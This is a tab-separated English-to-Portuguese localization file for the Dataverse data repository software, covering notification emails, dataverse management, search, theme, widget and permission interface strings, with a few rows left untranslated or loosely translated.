notification.email.maplayer.deletefailed.text	We failed to delete the WorldMap layer associated with the restricted file {0}, and any related data that may still be publicly available on the WorldMap site. Please try again, or contact WorldMap and/or Dataverse support. (Dataset: {1})	Não foi possível excluir a camada do WorldMap associada ao arquivo restrito {0} e quaisquer dados relacionados que ainda possam estar publicamente disponíveis no site do WorldMap. Por favor, tente novamente, ou entre em contato com o suporte do WorldMap e/ou do Dataverse. (Conjunto de dados: {1})
notification.email.submit.dataset.subject	{0}: Your dataset has been submitted for review	{0}: Seu conjunto de dados foi enviado para revisão
notification.email.publish.dataset.subject	{0}: Your dataset has been published	{0}: Seu conjunto de dados foi publicado
notification.email.returned.dataset.subject	{0}: Your dataset has been returned	{0}: Seu conjunto de dados foi retornado
notification.email.create.account.subject	{0}: Your account has been created	{0}: Sua conta foi criada
notification.email.assign.role.subject	{0}: You have been assigned a role	{0}: Você recebeu um papel
notification.email.revoke.role.subject	{0}: Your role has been revoked	{0}: Sua função foi revogada
notification.email.verifyEmail.subject	{0}: Verify your email address	{0}: Verifique seu endereço de e-mail
notification.email.ingestCompleted.subject	{0}: Dataset status	{0}: Your ingest has successfully finished!
notification.email.ingestCompletedWithErrors.subject	{0}: Dataset status	{0}: Your ingest has finished with errors!
notification.email.greeting	Hello,	"Olá, "
notification.email.welcome	Welcome to {0}! Get started by adding or finding data. Have questions? Check out the User Guide at {1}/{2}/user or contact {3} at {4} for assistance.	Bem-vindo a {0}! Comece por adicionar ou encontrar dados. Tem perguntas? Confira o Guia do Usuário em {1}/{2}/user ou entre em contato com {3} em {4} para obter ajuda.
notification.email.welcomeConfirmEmailAddOn	Please verify your email address at {0} . Note, the verify link will expire after {1}. Send another verification email by visiting your account page.	"Por favor, verifique seu endereço de e-mail em {0}. Observe que o link de verificação expirará após {1}. Envie outro e-mail de verificação visitando a página da sua conta."
notification.email.requestFileAccess	File access requested for dataset: {0} by {1} ({2}). Manage permissions at {3}.	Acesso de arquivo solicitado para o conjunto de dados: {0} por {1} ({2}). Gerenciar permissões em {3}.
notification.email.grantFileAccess	Access granted for files in dataset: {0} (view at {1} ).	Acesso concedido para arquivos no conjunto de dados: {0} (exibição em {1}).
notification.email.rejectFileAccess	Your request for access was rejected for the requested files in the dataset: {0} (view at {1} ). If you have any questions about why your request was rejected, you may reach the dataset owner using the "Contact" link on the upper right corner of the dataset page.	Sua solicitação de acesso foi rejeitada para os arquivos solicitados no conjunto de dados: {0} (exibição em {1}). Se você tiver alguma dúvida sobre o motivo de sua solicitação ter sido rejeitada, entre em contato com o proprietário do conjunto de dados usando o link "Contato" no canto superior direito da página do conjunto de dados.
notification.email.createDataverse	Your new dataverse named {0} (view at {1} ) was created in {2} (view at {3} ). To learn more about what you can do with your dataverse, check out the Dataverse Management - User Guide at {4}/{5}/user/dataverse-management.html .	Seu nova comunidade Dataverse chamado {0} (view at {1}) foi criado em {2} (view at {3}). Para saber mais sobre o que você pode fazer com a sua comunidade dataverse, confira o Gerenciamento do Dataverse - Guia do Usuário em {4}/{5}/user/dataverse-management.html.
notification.email.createDataset	Your new dataset named {0} (view at {1} ) was created in {2} (view at {3} ). To learn more about what you can do with a dataset, check out the Dataset Management - User Guide at {4}/{5}/user/dataset-management.html .	Seu novo conjunto de dados denominado {0} (exibição em {1}) foi criado em {2} (exibição em {3}). Para saber mais sobre o que você pode fazer com um conjunto de dados, confira o Gerenciamento de Conjunto de Dados - Guia do Usuário em {4}/{5}/user/dataset-management.html.
notification.email.wasSubmittedForReview	{0} (view at {1} ) was submitted for review to be published in {2} (view at {3} ). Don´´t forget to publish it or send it back to the contributor, {4} ({5})!	{0} (visão em {1}) foi submetido para revisão para ser publicado em {2} (ver em {3}). Não se esqueça de publicá-lo ou enviá-lo de volta para o colaborador, {4} ({5})!
notification.email.wasReturnedByReviewer	{0} (view at {1} ) was returned by the curator of {2} (view at {3} ).	{0} (visão em {1}) foi retornado pelo curador de {2} (veja em {3}).
notification.email.wasPublished	{0} (view at {1} ) was published in {2} (view at {3} ).	{0} (ver em {1}) foi publicado em {2} (ver em {3}).
notification.email.worldMap.added	{0} (view at {1}) had WorldMap layer data added to it.	{0} (vista em {1}) tinha dados da camada do WorldMap adicionados a ele.
notification.email.closing	You may contact us for support at {0}. Thank you, {1}	" Você pode nos contatar para suporte em {0}. Obrigado, {1}"
notification.email.assignRole	You are now {0} for the {1} "{2}" (view at {3} ).	Agora você é {0} para o {1} "{2}" (exibição em {3}).
notification.email.revokeRole	One of your roles for the {0} "{1}" has been revoked (view at {2} ).	Uma de suas funções para {0} "{1}" foi revogada (exibição em {2}).
notification.email.changeEmail	Hello, {0}.{1} Please contact us if you did not intend this change or if you need assistance.	"Olá, {0}.{1} Por favor, entre em contato conosco se você não pretendeu essa mudança ou se precisar de ajuda."
notification.email.passwordReset	Hi {0}, Someone, hopefully you, requested a password reset for {1}. Please click the link below to reset your Dataverse account password: {2} The link above will only work for the next {3} minutes. Please contact us if you did not request this password reset or need further help.	"Olá, {0}, Alguém, esperamos que você, solicitou uma redefinição de senha para {1}. Por favor, clique no link abaixo para redefinir sua senha da conta Dataverse: {2} O link acima só funcionará pelos próximos {3} minutos. Entre em contato conosco se você não solicitou essa redefinição de senha ou precisa de mais ajuda."
notification.email.passwordReset.subject	Dataverse Password Reset Requested	Redefinição de senha do Dataverse solicitada
hours	hours	horas
hour	hour	hora
minutes	minutes	minutos
minute	minute	minuto
notification.email.checksumfail.subject	{0}: Your upload failed checksum validation	{0}: Seu upload falhou na validação da soma de verificação
notification.email.import.filesystem.subject	Dataset {0} has been successfully uploaded and verified	O conjunto de dados {0} foi carregado e verificado com sucesso
notification.email.import.checksum.subject	{0}: Your file checksum job has completed	{0}: seu trabalho de soma de verificação de arquivo foi concluído
contact.delegation	{0} on behalf of {1}	{0} em nome de {1}
notification.email.info.unavailable	Unavailable	Indisponível
notification.email.apiTokenGenerated	Hello {0} {1}, API Token has been generated. Please keep it secure as you would do with a password.	"Olá {0} {1}, O token da API foi gerado. Por favor, mantenha-o seguro como faria com uma senha."
notification.email.apiTokenGenerated.subject	API Token was generated	O token da API foi gerado
dataverse.name	Dataverse Name	Nome do Dataverse
dataverse.name.title	The project, department, university, professor, or journal this dataverse will contain data for.	O projeto, departamento, universidade, professor ou periódico para o qual este banco de dados conterá dados.
dataverse.enterName	Enter name...	Digite o nome ...
dataverse.host.title	The dataverse which contains this data.	O dataverse contém esses dados.
dataverse.host.tip	Changing the host dataverse will clear any fields you may have entered data into.	Alterar o dataverse do host limpará todos os campos nos quais você inseriu dados.
dataverse.host.autocomplete.nomatches	No matches	Sem combinações
dataverse.identifier.title	Short name used for the URL of this dataverse.	Nome abreviado usado para a URL deste dataverse.
dataverse.affiliation.title	The organization with which this dataverse is affiliated.	A organização com a qual este dataverse é afiliado.
dataverse.category	Category	Categoria
dataverse.category.title	The type that most closely reflects this dataverse.	O tipo que mais reflete esse dataverse.
dataverse.type.selectTab.top	Select one...	Selecione um ...
dataverse.type.selectTab.researchers	Researcher	Pesquisador
dataverse.type.selectTab.researchProjects	Research Project	Projeto de Pesquisa
dataverse.type.selectTab.journals	Journal	Jornal
dataverse.type.selectTab.organizationsAndInsitutions	Organization or Institution	Organização ou Instituição
dataverse.type.selectTab.teachingCourses	Teaching Course	Curso de Ensino
dataverse.type.selectTab.uncategorized	Uncategorized	Sem categoria
dataverse.type.selectTab.researchGroup	Research Group	Grupo de Pesquisa
dataverse.type.selectTab.laboratory	Laboratory	Laboratório
dataverse.type.selectTab.department	Department	Departamento
dataverse.description.title	A summary describing the purpose, nature, or scope of this dataverse.	Um resumo descrevendo o propósito, a natureza ou o escopo deste dataverse.
dataverse.email	Email	E-mail
dataverse.email.title	The e-mail address(es) of the contact(s) for the dataverse.	O(s) endereço(s) de e-mail do(s) contato(s) para o dataverse.
dataverse.share.dataverseShare	Share Dataverse	Compartilhe Dataverse
dataverse.share.dataverseShare.tip	Share this dataverse on your favorite social media networks.	Compartilhe este dataverse em suas redes sociais favoritas.
dataverse.share.dataverseShare.shareText	View this dataverse.	Veja este dataverse.
dataverse.subject.title	Subject(s) covered in this dataverse.	Assunto(s) abrangido(s) neste dataverse.
dataverse.metadataElements	Metadata Fields	Campos de metadados
dataverse.metadataElements.tip	Choose the metadata fields to use in dataset templates and when adding a dataset to this dataverse.	Escolha os campos de metadados para usar nos modelos de conjunto de dados e ao adicionar um conjunto de dados a essa tarefa.
dataverse.metadataElements.from.tip	Use metadata fields from {0}	Use campos de metadados de {0}
dataverse.resetModifications	Reset Modifications	Redefinir Modificações
dataverse.resetModifications.text	Are you sure you want to reset the selected metadata fields? If you do this, any customizations (hidden, required, optional) you have done will no longer appear.	Tem certeza de que deseja redefinir os campos de metadados selecionados? Se você fizer isso, todas as personalizações (ocultas, obrigatórias, opcionais) feitas não serão mais exibidas.
dataverse.field.required	(Required)	(Obrigatório)
dataverse.field.example1	(Examples:	(Exemplos:
dataverse.field.example2	)	)
dataverse.field.set.tip	[+] View fields + set as hidden, required, or optional	[+] Exibir campos + definidos como ocultos, obrigatórios ou opcionais
dataverse.field.set.view	[+] View fields	[+] Exibir campos
dataverse.field.requiredByDataverse	Required by Dataverse	Requerido pelo Dataverse
dataverse.facetPickList.text	Browse/Search Facets	Procurar/Pesquisar Facetas
dataverse.facetPickList.tip	Choose the metadata fields to use as facets for browsing datasets and dataverses in this dataverse.	Escolha os campos de metadados para usar como facetas para pesquisar conjuntos de dados e dataverses nessa tarefa.
dataverse.facetPickList.facetsFromHost.text	Use browse/search facets from {0}	Use as facetas de navegação/pesquisa de {0}
dataverse.facetPickList.metadataBlockList.all	All Metadata Fields	Todos os campos de metadados
dataverse.edit	Edit	Editar
dataverse.option.generalInfo	General Information	Informação Geral
dataverse.option.themeAndWidgets	Theme + Widgets	Tema + Widgets
dataverse.option.featuredDataverse	Featured Dataverses	Comunidades Dataverses em destaque
dataverse.option.permissions	Permissions	Permissões
dataverse.option.dataverseGroups	Groups	Grupos
dataverse.option.datasetTemplates	Dataset Templates	Modelos de conjuntos de dados
dataverse.option.datasetGuestbooks	Dataset Guestbooks	Conjuntos de dados de conjuntos de dados
dataverse.option.deleteDataverse	Delete Dataverse	Excluir comunidade Dataverse
dataverse.publish.btn	Publish	Publicar
dataverse.publish.header	Publish Dataverse	Publicar Dataverse
dataverse.nopublished	No Published Dataverses	Nenhuma Comunidade Dataverse Publicada
dataverse.nopublished.tip	In order to use this feature you must have at least one published dataverse.	Para usar esse recurso, você deve ter pelo menos um dataverse publicado.
dataverse.contact	Email Dataverse Contact	E-mail de contato do Dataverse
dataset.link	Link Dataset	Link do conjunto de dados
dataverse.link	Link Dataverse	Link do Dataverse
dataverse.link.btn.tip	Link to Your Dataverse	Link para o seu Dataverse
dataverse.link.yourDataverses	Your Dataverse	Sua comunidade Dataverse
dataverse.link.yourDataverses.inputPlaceholder	Enter Dataverse Name	Digite o nome da Comunidade Dataverse
dataverse.link.save	Save Linked Dataverse	Salvar o Dataverse vinculado
dataset.link.save	Save Linked Dataset	Salvar o conjunto de dados vinculado
dataset.link.not.to.owner	Can´t link a dataset to its dataverse	Não é possível vincular um conjunto de dados ao seu dataverse
dataset.link.not.to.parent.dataverse	Can´t link a dataset to its parent dataverses	Não é possível vincular um conjunto de dados a seus dataverses principais
dataset.link.not.published	Can´t link a dataset that has not been published	Não é possível vincular um conjunto de dados que não foi publicado
dataverse.link.dataverse.choose	Choose which of your dataverses you would like to link this dataverse to.	Escolha com qual dos seus dados você gostaria de vincular este dataverse.
dataverse.link.dataset.choose	Enter the name of the dataverse you would like to link this dataset to. If you need to remove this link in the future, please contact {0}.	Digite o nome do dataverse ao qual você gostaria de vincular este conjunto de dados. Se você precisar remover este link no futuro, entre em contato com {0}.
dataverse.link.dataset.none	No linkable dataverses available.	Nenhum dataverse vinculável disponível.
dataverse.link.no.choice	You have one dataverse you can add linked dataverses and datasets in.	Você tem um dataverse no qual você pode adicionar dataverses e conjuntos de dados vinculados.
dataverse.link.no.linkable	To be able to link a dataverse or dataset, you need to have your own dataverse. Create a dataverse to get started.	Para poder vincular um dataverse ou um conjunto de dados, você precisa ter seu próprio dataverse. Crie um dataverse para começar.
dataverse.link.no.linkable.remaining	You have already linked all of your eligible dataverses.	Você já vinculou todos os seus dataverses qualificados.
dataverse.savedsearch.link	Link Search	Pesquisa de links
dataverse.savedsearch.searchquery	Search	Pesquisa
dataverse.savedsearch.filterQueries	Facets	Facetas
dataverse.savedsearch.save	Save Linked Search	Salvar a pesquisa vinculada
dataverse.savedsearch.dataverse.choose	Choose which of your dataverses you would like to link this search to.	Escolha qual dos seus dados você deseja vincular a essa pesquisa.
dataverse.savedsearch.no.choice	You have one dataverse to which you may add a saved search.	Você tem um dataverse ao qual você pode adicionar uma pesquisa salva.
dataverse.saved.search.success	The saved search has been successfully linked to {0}.	A pesquisa salva foi vinculada com êxito a {0}.
dataverse.saved.search.failure	The saved search was not able to be linked.	A pesquisa salva não pôde ser vinculada.
dataverse.linked.success	{0} has been successfully linked to {1}.	{0} foi vinculado com sucesso a {1}.
dataverse.linked.success.wait	{0} has been successfully linked to {1}. Please wait for its contents to appear.	{0} foi vinculado com sucesso a {1}. Por favor, aguarde o seu conteúdo para aparecer.
dataverse.linked.internalerror	{0} has been successfully linked to {1} but contents will not appear until an internal error has been fixed.	{0} foi vinculado com êxito a {1}, mas o conteúdo não será exibido até que um erro interno seja corrigido.
dataverse.page.pre	Previous	anterior
dataverse.page.next	Next	Próxima
dataverse.byCategory	Dataverses by Category	Comunidades Dataverses por categoria
dataverse.displayFeatured	Display the dataverses selected below on the landing page of this dataverse.	Exibe os dataverses selecionados abaixo na página de aterrissagem dessa estação de dados.
dataverse.selectToFeature	Select dataverses to feature on the landing page of this dataverse.	Selecione dataverses para caracterizar na página de aterrissagem deste dataverse.
dataverse.publish.tip	Are you sure you want to publish your dataverse? Once you do so it must remain published.	Tem certeza de que deseja publicar seu dataverse? Depois disso, ele deve permanecer publicado.
dataverse.publish.failed.tip	This dataverse cannot be published because the dataverse it is in has not been published.	Este dataverse não pode ser publicado porque o Dataverse não está publicado.
dataverse.publish.failed	Cannot publish dataverse.	Não é possível publicar o dataverse.
dataverse.publish.success	Your dataverse is now public.	Seu dataverse agora é público.
dataverse.publish.failure	This dataverse was not able to be published.	Este dataverse não pôde ser publicado.
dataverse.delete.tip	Are you sure you want to delete your dataverse? You cannot undelete this dataverse.	Tem certeza de que deseja excluir seu dataverse? Você não pode recuperar esse Daverse.
dataverse.delete	Delete Dataverse	Excluir Dataverse
dataverse.delete.success	Your dataverse has been deleted.	Seu dataverse foi excluído.
dataverse.delete.failure	This dataverse was not able to be deleted.	Este dataverse não pôde ser excluído.
dataverse.create.success	You have successfully created your dataverse! To learn more about what you can do with your dataverse, check out the User Guide.	Você criou com sucesso seu dataverse! Para saber mais sobre o que você pode fazer com o seu dataverse, confira o Guia do usuário.
dataverse.create.failure	This dataverse was not able to be created.	Este dataverse não pôde ser criado.
dataverse.create.authenticatedUsersOnly	Only authenticated users can create dataverses.	Somente usuários autenticados podem criar dataverses.
dataverse.update.success	You have successfully updated your dataverse!	Você atualizou com sucesso o seu dataverse!
dataverse.update.failure	This dataverse was not able to be updated.	Este dataverse não pôde ser atualizado.
dataverse.selected	Selected	Selecionado
dataverse.listing.error	Fatal error trying to list the contents of the dataverse. Please report this error to the Dataverse administrator.	Erro fatal ao tentar listar o conteúdo do dataverse. Por favor comunique este erro ao administrador do Dataverse.
dataverse.datasize	Total size of the files stored in this dataverse: {0} bytes	Tamanho total dos arquivos armazenados nesta coluna de dados: {0} bytes
dataverse.datasize.ioerror	Fatal IO error while trying to determine the total size of the files stored in the dataverse. Please report this error to the Dataverse administrator.	Erro fatal de E/S ao tentar determinar o tamanho total dos arquivos armazenados no dataverse. Por favor comunique este erro ao administrador do Dataverse.
advanced.search.header.dataverses	Dataverses	Comunidades Dataverses
advanced.search.dataverses.name.tip	The project, department, university, professor, or journal this Dataverse will contain data for.	O projeto, departamento, universidade, professor ou jornal deste Dataverse conterá dados para.
advanced.search.dataverses.affiliation.tip	The organization with which this Dataverse is affiliated.	A organização com a qual este Dataverse é afiliado.
advanced.search.dataverses.description.tip	A summary describing the purpose, nature, or scope of this Dataverse.	Um resumo descrevendo o propósito, natureza ou escopo deste Dataverse.
advanced.search.dataverses.subject.tip	Domain-specific Subject Categories that are topically relevant to this Dataverse.	Categorias de Assunto específicas do domínio que são relevantes topicamente para esse Dataverse.
advanced.search.header.datasets	Datasets	Conjuntos de Dados
advanced.search.header.files	Files	Arquivos
advanced.search.files.name.tip	The name given to identify the file.	O nome dado para identificar o arquivo.
advanced.search.files.description.tip	A summary describing the file and its variables.	Um resumo descrevendo o arquivo e suas variáveis.
advanced.search.files.persistentId.tip	The unique persistent identifier for a data file, which can be a Handle or DOI in Dataverse.	O identificador persistente do arquivo.
advanced.search.files.persistentId	Data File Persistent ID	ID persistente do arquivo de dados
advanced.search.files.fileType	File Type	Tipo de arquivo
advanced.search.files.fileType.tip	The file type, e.g. Comma Separated Values, Plain Text, R, etc.	A extensão de um arquivo, por ex. CSV, zip, Stata, R, PDF, JPEG, etc.
advanced.search.files.variableName	Variable Name	Nome da variável
advanced.search.files.variableName.tip	The name of the variable´s column in the data frame.	O nome da coluna da variável no quadro de dados.
advanced.search.files.variableLabel	Variable Label	Rótulo Variável
advanced.search.files.variableLabel.tip	A short description of the variable.	Uma breve descrição da variável.
advanced.search.datasets.persistentId.tip	The Dataset´s unique persistent identifier, either a DOI or Handle	O identificador persistente do conjunto de dados.
advanced.search.datasets.persistentId	Persistent Identifier	ID persistente do conjunto de dados
dataverse.search.advancedSearch	Advanced Search	Pesquisa avançada
dataverse.search.input.watermark	Search this dataverse...	Pesquisar neste dataverse ...
account.search.input.watermark	Search this data...	Pesquisar estes dados ...
dataverse.search.btn.find	Find	Encontrar
dataverse.results.btn.addData	Add Data	Adicionar dados
dataverse.results.btn.addData.newDataverse	New Dataverse	Nova comunidade Dataverse
dataverse.results.btn.addData.newDataset	New Dataset	Novo conjunto de dados
dataverse.results.dialog.addDataGuest.header	Add Data	Adicionar dados
dataverse.results.dialog.addDataGuest.msg	Log in to create a dataverse or add a dataset.	Faça o login para criar um dataverse ou adicionar um conjunto de dados.
dataverse.results.dialog.addDataGuest.msg.signup	Sign up or log in to create a dataverse or add a dataset.	Inscreva-se ou efetue login para criar um dataverse ou adicionar um conjunto de dados.
dataverse.results.dialog.addDataGuest.signup.title	Sign Up for a Dataverse Account	Inscreva-se para uma conta do Dataverse
dataverse.results.dialog.addDataGuest.login.title	Log into your Dataverse Account	Faça o login na sua conta do Dataverse
dataverse.results.types.dataverses	Dataverses	Comunidades Dataverses
dataverse.results.types.datasets	Datasets	Conjuntos de Dados
dataverse.results.types.files	Files	Arquivos
dataverse.results.btn.filterResults	Filter Results	Filtrar resultados
dataverse.results.empty.zero	There are no dataverses, datasets, or files that match your search. Please try a new search by using other or broader terms. You can also check out the search guide for tips.	Não há dataverses, conjuntos de dados ou arquivos que correspondam à sua pesquisa. Por favor, tente uma nova pesquisa usando outros termos ou termos mais amplos. Você também pode conferir o pesquisa guia para dicas.
dataverse.results.empty.hidden	There are no search results based on how you have narrowed your search. You can check out the search guide for tips.	Não há resultados de pesquisa com base em como você estreitou sua pesquisa. Você pode conferir o guia de pesquisa para dicas.
dataverse.results.empty.browse.guest.zero	This dataverse currently has no dataverses, datasets, or files. Please log in to see if you are able to add to it.	Esta dataverse atualmente não possui dataverses, datasets ou arquivos. Por favor faça o login para ver se você é capaz de adicioná-lo.
dataverse.results.empty.browse.guest.hidden	There are no dataverses within this dataverse. Please log in to see if you are able to add to it.	Não há dataverses neste dataverse. Por favor faça o login para ver se você é capaz de adicioná-lo.
dataverse.results.empty.browse.loggedin.noperms.zero	This dataverse currently has no dataverses, datasets, or files. You can use the Email Dataverse Contact button above to ask about this dataverse or request access for this dataverse.	Este dataverse atualmente não possui dados, conjuntos de dados ou arquivos. Você pode usar o botão E-mail de contato do Dataverse acima para perguntar sobre esse dataverse ou solicitar acesso para este dataverse.
dataverse.results.empty.browse.loggedin.noperms.hidden	There are no dataverses within this dataverse.	Não há dataverses neste dataverse.
dataverse.results.empty.browse.loggedin.perms.zero	This dataverse currently has no dataverses, datasets, or files. You can add to it by using the Add Data button on this page.	Este dataverse atualmente não tem dataverses, conjuntos de dados ou arquivos. Você pode adicioná-lo usando o botão Adicionar dados nesta página.
account.results.empty.browse.loggedin.perms.zero	You have no dataverses, datasets, or files associated with your account. You can add a dataverse or dataset by clicking the Add Data button above. Read more about adding data in the User Guide.	Você não possui dados, conjuntos de dados ou arquivos associados à sua conta. Você pode adicionar um dataverse ou um conjunto de dados clicando no botão Adicionar dados acima. Leia mais sobre como adicionar dados no Guia do usuário .
dataverse.results.empty.browse.loggedin.perms.hidden	There are no dataverses within this dataverse. You can add to it by using the Add Data button on this page.	Não há dataverses neste dataverse. Você pode adicioná-lo usando o botão Adicionar dados nesta página.
dataverse.results.empty.link.technicalDetails	More technical details	Mais detalhes técnicos
dataverse.search.facet.error	There was an error with your search parameters. Please clear your search and try again.	Ocorreu um erro nos seus parâmetros de pesquisa. Por favor, limpe a sua pesquisa e tente novamente.
dataverse.results.count.toofresults	{0} to {1} of {2} {2, choice, 0#Results\|1#Result\|2#Results}	{0} to {1} of {2} {2, choice, 0#Resultado\|1#Resultado\|2#Resultados}
dataverse.results.paginator.current	(Current)	(Atual)
dataverse.results.btn.sort	Sort	Ordenar
dataverse.results.btn.sort.option.nameAZ	Name (A-Z)	Nome (A-Z)
dataverse.results.btn.sort.option.nameZA	Name (Z-A)	Nome (Z-A)
dataverse.results.btn.sort.option.newest	Newest	Mais recentes
dataverse.results.btn.sort.option.oldest	Oldest	Mais antigo
dataverse.results.btn.sort.option.relevance	Relevance	Relevância
dataverse.results.cards.foundInMetadata	Found in Metadata Fields:	Encontrado em campos de metadados:
dataverse.results.cards.files.tabularData	Tabular Data	Dados Tabulares
dataverse.results.solrIsDown	Please note: Due to an internal error, browsing and searching is not available.	Atenção: devido a um erro interno, a navegação e pesquisa não estão disponíveis.
dataverse.theme.title	Theme	Tema
dataverse.theme.inheritCustomization.title	For this dataverse, use the same theme as the parent dataverse.	Para este dataverse, use o mesmo tema que o dataverse pai.
dataverse.theme.inheritCustomization.label	Inherit Theme	Herdar tema
dataverse.theme.inheritCustomization.checkbox	Inherit theme from {0}	Herdar tema de {0}
dataverse.theme.logo	Logo	Logo
dataverse.theme.logo.tip	Supported image types are JPG, TIF, or PNG and should be no larger than 500 KB. The maximum display size for an image file in a dataverse´s theme is 940 pixels wide by 120 pixels high.	Os tipos de imagem suportados são JPG, TIF ou PNG e não devem ter mais de 500 KB. O tamanho máximo de exibição para um arquivo de imagem em um tema do dataverse é de 940 pixels de largura por 120 pixels de altura.
dataverse.theme.logo.format	Logo Format	Formato do logo
dataverse.theme.logo.format.selectTab.square	Square	Praça
dataverse.theme.logo.format.selectTab.rectangle	Rectangle	Retângulo
dataverse.theme.logo.alignment	Logo Alignment	Alinhamento do logo
dataverse.theme.logo.alignment.selectTab.left	Left	Esquerda
dataverse.theme.logo.alignment.selectTab.center	Center	Centro
dataverse.theme.logo.alignment.selectTab.right	Right	Direita
dataverse.theme.logo.backColor	Logo Background Color	Cor de fundo do logo
dataverse.theme.logo.image.upload	Upload Image	Carregar imagem
dataverse.theme.tagline	Tagline	Tagline
dataverse.theme.website	Website	Site
dataverse.theme.linkColor	Link Color	Cor do link
dataverse.theme.txtColor	Text Color	Cor do texto
dataverse.theme.backColor	Background Color	Cor de fundo
dataverse.theme.success	You have successfully updated the theme for this dataverse!	Você atualizou com sucesso o tema para este dataverse!
dataverse.theme.failure	The dataverse theme has not been updated.	O tema do Dataverse não foi atualizado.
dataverse.theme.logo.image	Logo Image	Imagem do logo
dataverse.theme.logo.imageFooter	Footer Image	Footer Image
dataverse.theme.logo.image.title	The logo or image file you wish to display in the header of this dataverse.	O logotipo ou arquivo de imagem que você deseja exibir no cabeçalho deste dataverse.
dataverse.theme.logo.image.footer	The logo or image file you wish to display in the footer of this dataverse.	The logo or image file you wish to display in the footer of this dataverse.
dataverse.theme.logo.image.uploadNewFile	Upload New File	Carregar novo arquivo
dataverse.theme.logo.image.invalidMsg	The image could not be uploaded. Please try again with a JPG, TIF, or PNG file.	A imagem não pôde ser carregada. Por favor, tente novamente com um arquivo JPG, TIF ou PNG.
dataverse.theme.logo.image.uploadImgFile	Upload Image File	Carregar arquivo de imagem
dataverse.theme.logo.format.title	The shape for the logo or image file you upload for this dataverse.	A forma do logotipo ou do arquivo de imagem que você carrega para esse dataverso.
dataverse.theme.logo.alignment.title	Where the logo or image should display in the header or footer.	Onde o logotipo ou imagem deve ser exibido no cabeçalho.
dataverse.theme.logo.backColor.title	Select a color to display in the header or footer of this dataverse.	Selecione uma cor para exibir por trás do logotipo desta data.
dataverse.theme.headerColor	Header Colors	Cores do cabeçalho
dataverse.theme.headerColor.tip	Colors you select to style the header of this dataverse.	As cores que você selecionou para estilizar o cabeçalho dessa seção de dados.
dataverse.theme.backColor.title	Color for the header area that contains the image, tagline, URL, and text.	Cor da área do cabeçalho que contém a imagem, slogan, URL e texto.
dataverse.theme.linkColor.title	Color for the link to display as.	Cor para o link a ser exibido como.
dataverse.theme.txtColor.title	Color for the tagline text and the name of this dataverse.	Cor para o texto do slogan e o nome desse dataverse.
dataverse.theme.tagline.title	A phrase or sentence that describes this dataverse.	Uma frase ou frase que descreve esse dataverso.
dataverse.theme.tagline.tip	Provide a tagline that is 140 characters or less.	Forneça um slogan de 140 caracteres ou menos.
dataverse.theme.website.title	URL for your personal website, institution, or any website that relates to this dataverse.	URL do seu site pessoal, instituição ou qualquer site relacionado a esse dataverse.
dataverse.theme.website.tip	The website will be linked behind the tagline. To have a website listed, you must also provide a tagline.	O site estará ligado por trás do slogan. Para ter um site listado, você também deve fornecer um slogan.
dataverse.theme.website.watermark	Your personal site, http://...	Seu site pessoal, http://...
dataverse.theme.website.invalidMsg	Invalid URL.	URL inválido.
dataverse.theme.disabled	The theme for the root dataverse has been administratively disabled with the :DisableRootDataverseTheme database setting.	O tema para o dataverse raiz foi desativado administrativamente com a configuração do banco de dados: DisableRootDataverseTheme.
dataverse.widgets.title	Widgets	Widgets
dataverse.widgets.notPublished.why.header	Why Use Widgets?	Por que usar widgets?
dataverse.widgets.notPublished.why.reason1	Increases the web visibility of your data by allowing you to embed your dataverse and datasets into your personal or project website.	Aumenta a visibilidade da Web de seus dados, permitindo que você incorpore seus dados e conjuntos de dados em seu site pessoal ou de projeto.
dataverse.widgets.notPublished.why.reason2	Allows others to browse your dataverse and datasets without leaving your personal or project website.	Permite que outras pessoas naveguem em seu dataverse e conjuntos de dados sem sair do site pessoal ou do projeto.
dataverse.widgets.notPublished.how.header	How To Use Widgets	Como usar widgets
dataverse.widgets.notPublished.how.tip1	To use widgets, your dataverse and datasets need to be published.	Para usar widgets, seu dataverse e conjuntos de dados precisam ser publicados.
dataverse.widgets.notPublished.how.tip2	After publishing, code will be available on this page for you to copy and add to your personal or project website.	Após a publicação, o código estará disponível nesta página para você copiar e adicionar ao seu site pessoal ou do projeto.
dataverse.widgets.notPublished.how.tip3	Do you have an OpenScholar website? If so, learn more about adding the Dataverse widgets to your website here.	Você tem um site da OpenScholar? Em caso afirmativo, saiba mais sobre como adicionar os widgets do Dataverse ao seu site aqui.
dataverse.widgets.notPublished.getStarted	To get started, publish your dataverse. To learn more about Widgets, visit the Theme + Widgets section of the User Guide.	Para começar, publique seu dataverse. Para saber mais sobre os Widgets, visite o Tema + Widgets seção do Guia do Usuário.
dataverse.widgets.tip	Copy and paste this code into the HTML on your site. To learn more about Widgets, visit the Theme + Widgets section of the User Guide.	Copie e cole este código no HTML em seu site. Para saber mais sobre os Widgets, visite o Tema + Widgets seção do Guia do Usuário.
dataverse.widgets.searchBox.txt	Dataverse Search Box	Caixa de pesquisa do Dataverse
dataverse.widgets.searchBox.tip	Add a way for visitors on your website to be able to search Dataverse.	Adicione uma maneira de os visitantes em seu site poderem pesquisar no Dataverse.
dataverse.widgets.dataverseListing.txt	Dataverse Listing	Listagem do Dataverse
dataverse.widgets.dataverseListing.tip	Add a way for visitors on your website to be able to view your dataverses and datasets, sort, or browse through them.	Adicione uma maneira de os visitantes em seu site poderem visualizar seus dados e conjuntos de dados, classificar ou navegar por eles.
dataverse.widgets.advanced.popup.header	Widget Advanced Options	Opções avançadas de widgets
dataverse.widgets.advanced.prompt	Forward dataset citation persistent URL´s to your personal website. The page you submit as your Personal Website URL must contain the code snippet for the Dataverse Listing widget.	Encaminhe URLs persistentes de citações de conjuntos de dados para o seu site pessoal. A página que você envia comA URL do seu site pessoal deve conter o snippet de código para o widget Listagem do Dataverse.
dataverse.widgets.advanced.url.label	Personal Website URL	URL do site pessoal
dataverse.widgets.advanced.url.watermark	http://www.example.com/page-name	http://www.example.com/page-name
dataverse.widgets.advanced.invalid.message	Please enter a valid URL	Por favor insira Uma URL válido
dataverse.widgets.advanced.success.message	Successfully updated your Personal Website URL	Atualizou com sucesso o seu URL do site pessoal
dataverse.widgets.advanced.failure.message	The dataverse Personal Website URL has not been updated.	A URL do site pessoal do dataverse não foi atualizado.
dataverse.permissions.title	Permissions	Permissões
dataverse.permissions.dataset.title	Dataset Permissions	Permissões do conjunto de dados
dataverse.permissions.access.accessBtn	Edit Access	Editar acesso
dataverse.permissions.usersOrGroups	Users/Groups	Usuários/Grupos
dataverse.permissions.requests	Requests	Pedidos
dataverse.permissions.usersOrGroups.assignBtn	Assign Roles to Users/Groups	Atribuir funções a usuários/grupos
dataverse.permissions.usersOrGroups.createGroupBtn	Create Group	Criar grupo
